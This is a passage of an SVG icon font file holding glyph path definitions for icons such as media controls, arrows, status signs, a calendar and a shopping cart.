d="M1619 1395q19 19 32 13t13 -32v-1472q0 -26 -13 -32t-32 13l-710 710q-9 9 -13 19v-710q0 -26 -13 -32t-32 13l-710 710q-19 19 -19 45t19 45l710 710q19 19 32 13t13 -32v-710q4 10 13 19z" />
    <glyph glyph-name="play" unicode="&#xf04b;" horiz-adv-x="1408" 
d="M1384 609l-1328 -738q-23 -13 -39.5 -3t-16.5 36v1472q0 26 16.5 36t39.5 -3l1328 -738q23 -13 23 -31t-23 -31z" />
    <glyph glyph-name="pause" unicode="&#xf04c;" 
d="M1536 1344v-1408q0 -26 -19 -45t-45 -19h-512q-26 0 -45 19t-19 45v1408q0 26 19 45t45 19h512q26 0 45 -19t19 -45zM640 1344v-1408q0 -26 -19 -45t-45 -19h-512q-26 0 -45 19t-19 45v1408q0 26 19 45t45 19h512q26 0 45 -19t19 -45z" />
    <glyph glyph-name="stop" unicode="&#xf04d;" 
d="M1536 1344v-1408q0 -26 -19 -45t-45 -19h-1408q-26 0 -45 19t-19 45v1408q0 26 19 45t45 19h1408q26 0 45 -19t19 -45z" />
    <glyph glyph-name="forward" unicode="&#xf04e;" horiz-adv-x="1664" 
d="M45 -115q-19 -19 -32 -13t-13 32v1472q0 26 13 32t32 -13l710 -710q9 -9 13 -19v710q0 26 13 32t32 -13l710 -710q19 -19 19 -45t-19 -45l-710 -710q-19 -19 -32 -13t-13 32v710q-4 -10 -13 -19z" />
    <glyph glyph-name="fast_forward" unicode="&#xf050;" horiz-adv-x="1792" 
d="M45 -115q-19 -19 -32 -13t-13 32v1472q0 26 13 32t32 -13l710 -710q9 -9 13 -19v710q0 26 13 32t32 -13l710 -710q9 -9 13 -19v678q0 26 19 45t45 19h128q26 0 45 -19t19 -45v-1408q0 -26 -19 -45t-45 -19h-128q-26 0 -45 19t-19 45v678q-4 -10 -13 -19l-710 -710
q-19 -19 -32 -13t-13 32v710q-4 -10 -13 -19z" />
    <glyph glyph-name="step_forward" unicode="&#xf051;" horiz-adv-x="1024" 
d="M45 -115q-19 -19 -32 -13t-13 32v1472q0 26 13 32t32 -13l710 -710q9 -9 13 -19v678q0 26 19 45t45 19h128q26 0 45 -19t19 -45v-1408q0 -26 -19 -45t-45 -19h-128q-26 0 -45 19t-19 45v678q-4 -10 -13 -19z" />
    <glyph glyph-name="eject" unicode="&#xf052;" horiz-adv-x="1538" 
d="M14 557l710 710q19 19 45 19t45 -19l710 -710q19 -19 13 -32t-32 -13h-1472q-26 0 -32 13t13 32zM1473 0h-1408q-26 0 -45 19t-19 45v256q0 26 19 45t45 19h1408q26 0 45 -19t19 -45v-256q0 -26 -19 -45t-45 -19z" />
    <glyph glyph-name="chevron_left" unicode="&#xf053;" horiz-adv-x="1280" 
d="M1171 1235l-531 -531l531 -531q19 -19 19 -45t-19 -45l-166 -166q-19 -19 -45 -19t-45 19l-742 742q-19 19 -19 45t19 45l742 742q19 19 45 19t45 -19l166 -166q19 -19 19 -45t-19 -45z" />
    <glyph glyph-name="chevron_right" unicode="&#xf054;" horiz-adv-x="1280" 
d="M1107 659l-742 -742q-19 -19 -45 -19t-45 19l-166 166q-19 19 -19 45t19 45l531 531l-531 531q-19 19 -19 45t19 45l166 166q19 19 45 19t45 -19l742 -742q19 -19 19 -45t-19 -45z" />
    <glyph glyph-name="plus_sign" unicode="&#xf055;" 
d="M1216 576v128q0 26 -19 45t-45 19h-256v256q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-256h-256q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h256v-256q0 -26 19 -45t45 -19h128q26 0 45 19t19 45v256h256q26 0 45 19t19 45zM1536 640q0 -209 -103 -385.5
t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="minus_sign" unicode="&#xf056;" 
d="M1216 576v128q0 26 -19 45t-45 19h-768q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h768q26 0 45 19t19 45zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5
t103 -385.5z" />
    <glyph glyph-name="remove_sign" unicode="&#xf057;" 
d="M1149 414q0 26 -19 45l-181 181l181 181q19 19 19 45q0 27 -19 46l-90 90q-19 19 -46 19q-26 0 -45 -19l-181 -181l-181 181q-19 19 -45 19q-27 0 -46 -19l-90 -90q-19 -19 -19 -46q0 -26 19 -45l181 -181l-181 -181q-19 -19 -19 -45q0 -27 19 -46l90 -90q19 -19 46 -19
q26 0 45 19l181 181l181 -181q19 -19 45 -19q27 0 46 19l90 90q19 19 19 46zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="ok_sign" unicode="&#xf058;" 
d="M1284 802q0 28 -18 46l-91 90q-19 19 -45 19t-45 -19l-408 -407l-226 226q-19 19 -45 19t-45 -19l-91 -90q-18 -18 -18 -46q0 -27 18 -45l362 -362q19 -19 45 -19q27 0 46 19l543 543q18 18 18 45zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103
t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="question_sign" unicode="&#xf059;" 
d="M896 160v192q0 14 -9 23t-23 9h-192q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h192q14 0 23 9t9 23zM1152 832q0 88 -55.5 163t-138.5 116t-170 41q-243 0 -371 -213q-15 -24 8 -42l132 -100q7 -6 19 -6q16 0 25 12q53 68 86 92q34 24 86 24q48 0 85.5 -26t37.5 -59
q0 -38 -20 -61t-68 -45q-63 -28 -115.5 -86.5t-52.5 -125.5v-36q0 -14 9 -23t23 -9h192q14 0 23 9t9 23q0 19 21.5 49.5t54.5 49.5q32 18 49 28.5t46 35t44.5 48t28 60.5t12.5 81zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5
t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="info_sign" unicode="&#xf05a;" 
d="M1024 160v160q0 14 -9 23t-23 9h-96v512q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-160q0 -14 9 -23t23 -9h96v-320h-96q-14 0 -23 -9t-9 -23v-160q0 -14 9 -23t23 -9h448q14 0 23 9t9 23zM896 1056v160q0 14 -9 23t-23 9h-192q-14 0 -23 -9t-9 -23v-160q0 -14 9 -23
t23 -9h192q14 0 23 9t9 23zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="screenshot" unicode="&#xf05b;" 
d="M1197 512h-109q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h109q-32 108 -112.5 188.5t-188.5 112.5v-109q0 -26 -19 -45t-45 -19h-128q-26 0 -45 19t-19 45v109q-108 -32 -188.5 -112.5t-112.5 -188.5h109q26 0 45 -19t19 -45v-128q0 -26 -19 -45t-45 -19h-109
q32 -108 112.5 -188.5t188.5 -112.5v109q0 26 19 45t45 19h128q26 0 45 -19t19 -45v-109q108 32 188.5 112.5t112.5 188.5zM1536 704v-128q0 -26 -19 -45t-45 -19h-143q-37 -161 -154.5 -278.5t-278.5 -154.5v-143q0 -26 -19 -45t-45 -19h-128q-26 0 -45 19t-19 45v143
q-161 37 -278.5 154.5t-154.5 278.5h-143q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h143q37 161 154.5 278.5t278.5 154.5v143q0 26 19 45t45 19h128q26 0 45 -19t19 -45v-143q161 -37 278.5 -154.5t154.5 -278.5h143q26 0 45 -19t19 -45z" />
    <glyph glyph-name="remove_circle" unicode="&#xf05c;" 
d="M1097 457l-146 -146q-10 -10 -23 -10t-23 10l-137 137l-137 -137q-10 -10 -23 -10t-23 10l-146 146q-10 10 -10 23t10 23l137 137l-137 137q-10 10 -10 23t10 23l146 146q10 10 23 10t23 -10l137 -137l137 137q10 10 23 10t23 -10l146 -146q10 -10 10 -23t-10 -23
l-137 -137l137 -137q10 -10 10 -23t-10 -23zM1312 640q0 148 -73 273t-198 198t-273 73t-273 -73t-198 -198t-73 -273t73 -273t198 -198t273 -73t273 73t198 198t73 273zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5
t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="ok_circle" unicode="&#xf05d;" 
d="M1171 723l-422 -422q-19 -19 -45 -19t-45 19l-294 294q-19 19 -19 45t19 45l102 102q19 19 45 19t45 -19l147 -147l275 275q19 19 45 19t45 -19l102 -102q19 -19 19 -45t-19 -45zM1312 640q0 148 -73 273t-198 198t-273 73t-273 -73t-198 -198t-73 -273t73 -273t198 -198
t273 -73t273 73t198 198t73 273zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="ban_circle" unicode="&#xf05e;" 
d="M1312 643q0 161 -87 295l-754 -753q137 -89 297 -89q111 0 211.5 43.5t173.5 116.5t116 174.5t43 212.5zM313 344l755 754q-135 91 -300 91q-148 0 -273 -73t-198 -199t-73 -274q0 -162 89 -299zM1536 643q0 -157 -61 -300t-163.5 -246t-245 -164t-298.5 -61t-298.5 61
t-245 164t-163.5 246t-61 300t61 299.5t163.5 245.5t245 164t298.5 61t298.5 -61t245 -164t163.5 -245.5t61 -299.5z" />
    <glyph glyph-name="arrow_left" unicode="&#xf060;" 
d="M1536 640v-128q0 -53 -32.5 -90.5t-84.5 -37.5h-704l293 -294q38 -36 38 -90t-38 -90l-75 -76q-37 -37 -90 -37q-52 0 -91 37l-651 652q-37 37 -37 90q0 52 37 91l651 650q38 38 91 38q52 0 90 -38l75 -74q38 -38 38 -91t-38 -91l-293 -293h704q52 0 84.5 -37.5
t32.5 -90.5z" />
    <glyph glyph-name="arrow_right" unicode="&#xf061;" 
d="M1472 576q0 -54 -37 -91l-651 -651q-39 -37 -91 -37q-51 0 -90 37l-75 75q-38 38 -38 91t38 91l293 293h-704q-52 0 -84.5 37.5t-32.5 90.5v128q0 53 32.5 90.5t84.5 37.5h704l-293 294q-38 36 -38 90t38 90l75 75q38 38 90 38q53 0 91 -38l651 -651q37 -35 37 -90z" />
    <glyph glyph-name="arrow_up" unicode="&#xf062;" horiz-adv-x="1664" 
d="M1611 565q0 -51 -37 -90l-75 -75q-38 -38 -91 -38q-54 0 -90 38l-294 293v-704q0 -52 -37.5 -84.5t-90.5 -32.5h-128q-53 0 -90.5 32.5t-37.5 84.5v704l-294 -293q-36 -38 -90 -38t-90 38l-75 75q-38 38 -38 90q0 53 38 91l651 651q35 37 90 37q54 0 91 -37l651 -651
q37 -39 37 -91z" />
    <glyph glyph-name="arrow_down" unicode="&#xf063;" horiz-adv-x="1664" 
d="M1611 704q0 -53 -37 -90l-651 -652q-39 -37 -91 -37q-53 0 -90 37l-651 652q-38 36 -38 90q0 53 38 91l74 75q39 37 91 37q53 0 90 -37l294 -294v704q0 52 38 90t90 38h128q52 0 90 -38t38 -90v-704l294 294q37 37 90 37q52 0 91 -37l75 -75q37 -39 37 -91z" />
    <glyph glyph-name="share_alt" unicode="&#xf064;" horiz-adv-x="1792" 
d="M1792 896q0 -26 -19 -45l-512 -512q-19 -19 -45 -19t-45 19t-19 45v256h-224q-98 0 -175.5 -6t-154 -21.5t-133 -42.5t-105.5 -69.5t-80 -101t-48.5 -138.5t-17.5 -181q0 -55 5 -123q0 -6 2.5 -23.5t2.5 -26.5q0 -15 -8.5 -25t-23.5 -10q-16 0 -28 17q-7 9 -13 22
t-13.5 30t-10.5 24q-127 285 -127 451q0 199 53 333q162 403 875 403h224v256q0 26 19 45t45 19t45 -19l512 -512q19 -19 19 -45z" />
    <glyph glyph-name="resize_full" unicode="&#xf065;" 
d="M755 480q0 -13 -10 -23l-332 -332l144 -144q19 -19 19 -45t-19 -45t-45 -19h-448q-26 0 -45 19t-19 45v448q0 26 19 45t45 19t45 -19l144 -144l332 332q10 10 23 10t23 -10l114 -114q10 -10 10 -23zM1536 1344v-448q0 -26 -19 -45t-45 -19t-45 19l-144 144l-332 -332
q-10 -10 -23 -10t-23 10l-114 114q-10 10 -10 23t10 23l332 332l-144 144q-19 19 -19 45t19 45t45 19h448q26 0 45 -19t19 -45z" />
    <glyph glyph-name="resize_small" unicode="&#xf066;" 
d="M768 576v-448q0 -26 -19 -45t-45 -19t-45 19l-144 144l-332 -332q-10 -10 -23 -10t-23 10l-114 114q-10 10 -10 23t10 23l332 332l-144 144q-19 19 -19 45t19 45t45 19h448q26 0 45 -19t19 -45zM1523 1248q0 -13 -10 -23l-332 -332l144 -144q19 -19 19 -45t-19 -45
t-45 -19h-448q-26 0 -45 19t-19 45v448q0 26 19 45t45 19t45 -19l144 -144l332 332q10 10 23 10t23 -10l114 -114q10 -10 10 -23z" />
    <glyph glyph-name="plus" unicode="&#xf067;" horiz-adv-x="1408" 
d="M1408 800v-192q0 -40 -28 -68t-68 -28h-416v-416q0 -40 -28 -68t-68 -28h-192q-40 0 -68 28t-28 68v416h-416q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h416v416q0 40 28 68t68 28h192q40 0 68 -28t28 -68v-416h416q40 0 68 -28t28 -68z" />
    <glyph glyph-name="minus" unicode="&#xf068;" horiz-adv-x="1408" 
d="M1408 800v-192q0 -40 -28 -68t-68 -28h-1216q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h1216q40 0 68 -28t28 -68z" />
    <glyph glyph-name="asterisk" unicode="&#xf069;" horiz-adv-x="1664" 
d="M1482 486q46 -26 59.5 -77.5t-12.5 -97.5l-64 -110q-26 -46 -77.5 -59.5t-97.5 12.5l-266 153v-307q0 -52 -38 -90t-90 -38h-128q-52 0 -90 38t-38 90v307l-266 -153q-46 -26 -97.5 -12.5t-77.5 59.5l-64 110q-26 46 -12.5 97.5t59.5 77.5l266 154l-266 154
q-46 26 -59.5 77.5t12.5 97.5l64 110q26 46 77.5 59.5t97.5 -12.5l266 -153v307q0 52 38 90t90 38h128q52 0 90 -38t38 -90v-307l266 153q46 26 97.5 12.5t77.5 -59.5l64 -110q26 -46 12.5 -97.5t-59.5 -77.5l-266 -154z" />
    <glyph glyph-name="exclamation_sign" unicode="&#xf06a;" 
d="M768 1408q209 0 385.5 -103t279.5 -279.5t103 -385.5t-103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103zM896 161v190q0 14 -9 23.5t-22 9.5h-192q-13 0 -23 -10t-10 -23v-190q0 -13 10 -23t23 -10h192
q13 0 22 9.5t9 23.5zM894 505l18 621q0 12 -10 18q-10 8 -24 8h-220q-14 0 -24 -8q-10 -6 -10 -18l17 -621q0 -10 10 -17.5t24 -7.5h185q14 0 23.5 7.5t10.5 17.5z" />
    <glyph glyph-name="gift" unicode="&#xf06b;" 
d="M928 180v56v468v192h-320v-192v-468v-56q0 -25 18 -38.5t46 -13.5h192q28 0 46 13.5t18 38.5zM472 1024h195l-126 161q-26 31 -69 31q-40 0 -68 -28t-28 -68t28 -68t68 -28zM1160 1120q0 40 -28 68t-68 28q-43 0 -69 -31l-125 -161h194q40 0 68 28t28 68zM1536 864v-320
q0 -14 -9 -23t-23 -9h-96v-416q0 -40 -28 -68t-68 -28h-1088q-40 0 -68 28t-28 68v416h-96q-14 0 -23 9t-9 23v320q0 14 9 23t23 9h440q-93 0 -158.5 65.5t-65.5 158.5t65.5 158.5t158.5 65.5q107 0 168 -77l128 -165l128 165q61 77 168 77q93 0 158.5 -65.5t65.5 -158.5
t-65.5 -158.5t-158.5 -65.5h440q14 0 23 -9t9 -23z" />
    <glyph glyph-name="leaf" unicode="&#xf06c;" horiz-adv-x="1792" 
d="M1280 832q0 26 -19 45t-45 19q-172 0 -318 -49.5t-259.5 -134t-235.5 -219.5q-19 -21 -19 -45q0 -26 19 -45t45 -19q24 0 45 19q27 24 74 71t67 66q137 124 268.5 176t313.5 52q26 0 45 19t19 45zM1792 1030q0 -95 -20 -193q-46 -224 -184.5 -383t-357.5 -268
q-214 -108 -438 -108q-148 0 -286 47q-15 5 -88 42t-96 37q-16 0 -39.5 -32t-45 -70t-52.5 -70t-60 -32q-43 0 -63.5 17.5t-45.5 59.5q-2 4 -6 11t-5.5 10t-3 9.5t-1.5 13.5q0 35 31 73.5t68 65.5t68 56t31 48q0 4 -14 38t-16 44q-9 51 -9 104q0 115 43.5 220t119 184.5
t170.5 139t204 95.5q55 18 145 25.5t179.5 9t178.5 6t163.5 24t113.5 56.5l29.5 29.5t29.5 28t27 20t36.5 16t43.5 4.5q39 0 70.5 -46t47.5 -112t24 -124t8 -96z" />
    <glyph glyph-name="fire" unicode="&#xf06d;" horiz-adv-x="1408" 
d="M1408 -160v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-1344q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h1344q13 0 22.5 -9.5t9.5 -22.5zM1152 896q0 -78 -24.5 -144t-64 -112.5t-87.5 -88t-96 -77.5t-87.5 -72t-64 -81.5t-24.5 -96.5q0 -96 67 -224l-4 1l1 -1
q-90 41 -160 83t-138.5 100t-113.5 122.5t-72.5 150.5t-27.5 184q0 78 24.5 144t64 112.5t87.5 88t96 77.5t87.5 72t64 81.5t24.5 96.5q0 94 -66 224l3 -1l-1 1q90 -41 160 -83t138.5 -100t113.5 -122.5t72.5 -150.5t27.5 -184z" />
    <glyph glyph-name="eye_open" unicode="&#xf06e;" horiz-adv-x="1792" 
d="M1664 576q-152 236 -381 353q61 -104 61 -225q0 -185 -131.5 -316.5t-316.5 -131.5t-316.5 131.5t-131.5 316.5q0 121 61 225q-229 -117 -381 -353q133 -205 333.5 -326.5t434.5 -121.5t434.5 121.5t333.5 326.5zM944 960q0 20 -14 34t-34 14q-125 0 -214.5 -89.5
t-89.5 -214.5q0 -20 14 -34t34 -14t34 14t14 34q0 86 61 147t147 61q20 0 34 14t14 34zM1792 576q0 -34 -20 -69q-140 -230 -376.5 -368.5t-499.5 -138.5t-499.5 139t-376.5 368q-20 35 -20 69t20 69q140 229 376.5 368t499.5 139t499.5 -139t376.5 -368q20 -35 20 -69z" />
    <glyph glyph-name="eye_close" unicode="&#xf070;" horiz-adv-x="1792" 
d="M555 201l78 141q-87 63 -136 159t-49 203q0 121 61 225q-229 -117 -381 -353q167 -258 427 -375zM944 960q0 20 -14 34t-34 14q-125 0 -214.5 -89.5t-89.5 -214.5q0 -20 14 -34t34 -14t34 14t14 34q0 86 61 147t147 61q20 0 34 14t14 34zM1307 1151q0 -7 -1 -9
q-106 -189 -316 -567t-315 -566l-49 -89q-10 -16 -28 -16q-12 0 -134 70q-16 10 -16 28q0 12 44 87q-143 65 -263.5 173t-208.5 245q-20 31 -20 69t20 69q153 235 380 371t496 136q89 0 180 -17l54 97q10 16 28 16q5 0 18 -6t31 -15.5t33 -18.5t31.5 -18.5t19.5 -11.5
q16 -10 16 -27zM1344 704q0 -139 -79 -253.5t-209 -164.5l280 502q8 -45 8 -84zM1792 576q0 -35 -20 -69q-39 -64 -109 -145q-150 -172 -347.5 -267t-419.5 -95l74 132q212 18 392.5 137t301.5 307q-115 179 -282 294l63 112q95 -64 182.5 -153t144.5 -184q20 -34 20 -69z
" />
    <glyph glyph-name="warning_sign" unicode="&#xf071;" horiz-adv-x="1792" 
d="M1024 161v190q0 14 -9.5 23.5t-22.5 9.5h-192q-13 0 -22.5 -9.5t-9.5 -23.5v-190q0 -14 9.5 -23.5t22.5 -9.5h192q13 0 22.5 9.5t9.5 23.5zM1022 535l18 459q0 12 -10 19q-13 11 -24 11h-220q-11 0 -24 -11q-10 -7 -10 -21l17 -457q0 -10 10 -16.5t24 -6.5h185
q14 0 23.5 6.5t10.5 16.5zM1008 1469l768 -1408q35 -63 -2 -126q-17 -29 -46.5 -46t-63.5 -17h-1536q-34 0 -63.5 17t-46.5 46q-37 63 -2 126l768 1408q17 31 47 49t65 18t65 -18t47 -49z" />
    <glyph glyph-name="plane" unicode="&#xf072;" horiz-adv-x="1408" 
d="M1376 1376q44 -52 12 -148t-108 -172l-161 -161l160 -696q5 -19 -12 -33l-128 -96q-7 -6 -19 -6q-4 0 -7 1q-15 3 -21 16l-279 508l-259 -259l53 -194q5 -17 -8 -31l-96 -96q-9 -9 -23 -9h-2q-15 2 -24 13l-189 252l-252 189q-11 7 -13 23q-1 13 9 25l96 97q9 9 23 9
q6 0 8 -1l194 -53l259 259l-508 279q-14 8 -17 24q-2 16 9 27l128 128q14 13 30 8l665 -159l160 160q76 76 172 108t148 -12z" />
    <glyph glyph-name="calendar" unicode="&#xf073;" horiz-adv-x="1664" 
d="M128 -128h288v288h-288v-288zM480 -128h320v288h-320v-288zM128 224h288v320h-288v-320zM480 224h320v320h-320v-320zM128 608h288v288h-288v-288zM864 -128h320v288h-320v-288zM480 608h320v288h-320v-288zM1248 -128h288v288h-288v-288zM864 224h320v320h-320v-320z
M512 1088v288q0 13 -9.5 22.5t-22.5 9.5h-64q-13 0 -22.5 -9.5t-9.5 -22.5v-288q0 -13 9.5 -22.5t22.5 -9.5h64q13 0 22.5 9.5t9.5 22.5zM1248 224h288v320h-288v-320zM864 608h320v288h-320v-288zM1248 608h288v288h-288v-288zM1280 1088v288q0 13 -9.5 22.5t-22.5 9.5h-64
q-13 0 -22.5 -9.5t-9.5 -22.5v-288q0 -13 9.5 -22.5t22.5 -9.5h64q13 0 22.5 9.5t9.5 22.5zM1664 1152v-1280q0 -52 -38 -90t-90 -38h-1408q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h128v96q0 66 47 113t113 47h64q66 0 113 -47t47 -113v-96h384v96q0 66 47 113t113 47
h64q66 0 113 -47t47 -113v-96h128q52 0 90 -38t38 -90z" />
    <glyph glyph-name="random" unicode="&#xf074;" horiz-adv-x="1792" 
d="M666 1055q-60 -92 -137 -273q-22 45 -37 72.5t-40.5 63.5t-51 56.5t-63 35t-81.5 14.5h-224q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h224q250 0 410 -225zM1792 256q0 -14 -9 -23l-320 -320q-9 -9 -23 -9q-13 0 -22.5 9.5t-9.5 22.5v192q-32 0 -85 -0.5t-81 -1t-73 1
t-71 5t-64 10.5t-63 18.5t-58 28.5t-59 40t-55 53.5t-56 69.5q59 93 136 273q22 -45 37 -72.5t40.5 -63.5t51 -56.5t63 -35t81.5 -14.5h256v192q0 14 9 23t23 9q12 0 24 -10l319 -319q9 -9 9 -23zM1792 1152q0 -14 -9 -23l-320 -320q-9 -9 -23 -9q-13 0 -22.5 9.5t-9.5 22.5
v192h-256q-48 0 -87 -15t-69 -45t-51 -61.5t-45 -77.5q-32 -62 -78 -171q-29 -66 -49.5 -111t-54 -105t-64 -100t-74 -83t-90 -68.5t-106.5 -42t-128 -16.5h-224q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h224q48 0 87 15t69 45t51 61.5t45 77.5q32 62 78 171q29 66 49.5 111
t54 105t64 100t74 83t90 68.5t106.5 42t128 16.5h256v192q0 14 9 23t23 9q12 0 24 -10l319 -319q9 -9 9 -23z" />
    <glyph glyph-name="comment" unicode="&#xf075;" horiz-adv-x="1792" 
d="M1792 640q0 -174 -120 -321.5t-326 -233t-450 -85.5q-70 0 -145 8q-198 -175 -460 -242q-49 -14 -114 -22q-17 -2 -30.5 9t-17.5 29v1q-3 4 -0.5 12t2 10t4.5 9.5l6 9t7 8.5t8 9q7 8 31 34.5t34.5 38t31 39.5t32.5 51t27 59t26 76q-157 89 -247.5 220t-90.5 281
q0 130 71 248.5t191 204.5t286 136.5t348 50.5q244 0 450 -85.5t326 -233t120 -321.5z" />
    <glyph glyph-name="magnet" unicode="&#xf076;" 
d="M1536 704v-128q0 -201 -98.5 -362t-274 -251.5t-395.5 -90.5t-395.5 90.5t-274 251.5t-98.5 362v128q0 26 19 45t45 19h384q26 0 45 -19t19 -45v-128q0 -52 23.5 -90t53.5 -57t71 -30t64 -13t44 -2t44 2t64 13t71 30t53.5 57t23.5 90v128q0 26 19 45t45 19h384
q26 0 45 -19t19 -45zM512 1344v-384q0 -26 -19 -45t-45 -19h-384q-26 0 -45 19t-19 45v384q0 26 19 45t45 19h384q26 0 45 -19t19 -45zM1536 1344v-384q0 -26 -19 -45t-45 -19h-384q-26 0 -45 19t-19 45v384q0 26 19 45t45 19h384q26 0 45 -19t19 -45z" />
    <glyph glyph-name="chevron_up" unicode="&#xf077;" horiz-adv-x="1792" 
d="M1683 205l-166 -165q-19 -19 -45 -19t-45 19l-531 531l-531 -531q-19 -19 -45 -19t-45 19l-166 165q-19 19 -19 45.5t19 45.5l742 741q19 19 45 19t45 -19l742 -741q19 -19 19 -45.5t-19 -45.5z" />
    <glyph glyph-name="chevron_down" unicode="&#xf078;" horiz-adv-x="1792" 
d="M1683 728l-742 -741q-19 -19 -45 -19t-45 19l-742 741q-19 19 -19 45.5t19 45.5l166 165q19 19 45 19t45 -19l531 -531l531 531q19 19 45 19t45 -19l166 -165q19 -19 19 -45.5t-19 -45.5z" />
    <glyph glyph-name="retweet" unicode="&#xf079;" horiz-adv-x="1920" 
d="M1280 32q0 -13 -9.5 -22.5t-22.5 -9.5h-960q-8 0 -13.5 2t-9 7t-5.5 8t-3 11.5t-1 11.5v13v11v160v416h-192q-26 0 -45 19t-19 45q0 24 15 41l320 384q19 22 49 22t49 -22l320 -384q15 -17 15 -41q0 -26 -19 -45t-45 -19h-192v-384h576q16 0 25 -11l160 -192q7 -10 7 -21
zM1920 448q0 -24 -15 -41l-320 -384q-20 -23 -49 -23t-49 23l-320 384q-15 17 -15 41q0 26 19 45t45 19h192v384h-576q-16 0 -25 12l-160 192q-7 9 -7 20q0 13 9.5 22.5t22.5 9.5h960q8 0 13.5 -2t9 -7t5.5 -8t3 -11.5t1 -11.5v-13v-11v-160v-416h192q26 0 45 -19t19 -45z
" />
    <glyph glyph-name="shopping_cart" unicode="&#xf07a;" horiz-adv-x="1664" 
d="M640 0q0 -52 -38 -90t-90 -38t-90 38t-38 90t38 90t90 38t90 -38t38 -90zM1536 0q0 -52 -38 -90t-90 -38t-90 38t-38 90t38 90t90 38t90 -38t38 -90zM1664 1088v-512q0 -24 -16.5 -42.5t-40.5 -21.5l-1044 -122q13 -60 13 -70q0 -16 -24 -64h920q26 0 45 -19t19 -45
t-19 -45t-45 -19h-1024q-26 0 -45 19t-19 45q0 11 8 31.5t16 36t21.5 40t15.5 29.5l-177 823h-204q-26 0 -45 19t-19 45t19 45t45 19h256q16 0 28.5 -6.5t19.5 -15.5t13 -24.5t8 -26t5.5 -29.5t4.5 -26h1201q26 0 45 -19t19 -45z" />
    <glyph glyph-name="folder_close" unicode="&#xf07b;" horiz-adv-x="1664" 
d="M1664 928v-704q0 -92 -66 -158t-158 -66h-1216q-92 0 -158 66t-66 158v960q0 92 66 158t158 66h320q92 0 158 -66t66 -158v-32h672q92 0 158 -66t66 -158z" />
    <glyph glyph-name="folder_open" unicode="&#xf07c;" horiz-adv-x="1920" 
d="M1879 584q0 -31 -31 -66l-336 -396q-43 -51 -120.5 -86.5t-143.5 -35.5h-1088q-34 0 -60.5 13t-26.5 43q0 31 31 66l336 396q43 51 120.5 86.5t143.5 35.5h1088q34 0 60.5 -13t26.5 -43zM1536 928v-160h-832q-94 0 -197 -47.5t-164 -119.5l-337 -396l-5 -6q0 4 -0.5 12.5
t-0.5 12.5v960q0 92 66 158t158 66h320q92 0 158 -66t66 -158v-32h544q92 0 158 -66t66 -158z" />
    <glyph glyph-name="resize_vertical" unicode="&#xf07d;" horiz-adv-x="768" 
d="M704 1216q0 -26 -19 -45t-45 -19h-128v-1024h128q26 0 45 -19t19 -45t-19 -45l-256 -256q-19 -19 -45 -19t-45 19l-256 256q-19 19 -19 45t19 45t45 19h128v1024h-128q-26 0 -45 19t-19 45t19 45l256 256q19 19 45 19t45 -19l256 -256q19 -19 19 -45z" />
    <glyph glyph-name="resize_horizontal" unicode="&#xf07e;" horiz-adv-x="1792" 
d="M1792 640q0 -26 -19 -45l-256 -256q-19 -19 -45 -19t-45 19t-19 45v128h-1024v-128q0 -26 -19 -45t-45 -19t-45 19l-256 256q-19 19 -19 45t19 45l256 256q19 19 45 19t45 -19t19 -45v-128h1024v128q0 26 19 45t45 19t45 -19l256 -256q19 -19 19 -45z" />
    <glyph glyph-name="bar_chart" unicode="&#xf080;" horiz-adv-x="2048" 
d="M640 640v-512h-256v512h256zM1024 1152v-1024h-256v1024h256zM2048 0v-128h-2048v1536h128v-1408h1920zM1408 896v-768h-256v768h256zM1792 1280v-1152h-256v1152h256z" />
    <glyph glyph-name="twitter_sign" unicode="&#xf081;" 
d="M1280 926q-56 -25 -121 -34q68 40 93 117q-65 -38 -134 -51q-61 66 -153 66q-87 0 -148.5 -61.5t-61.5 -148.5q0 -29 5 -48q-129 7 -242 65t-192 155q-29 -50 -29 -106q0 -114 91 -175q-47 1 -100 26v-2q0 -75 50 -133.5t123 -72.5q-29 -8 -51 -8q-13 0 -39 4
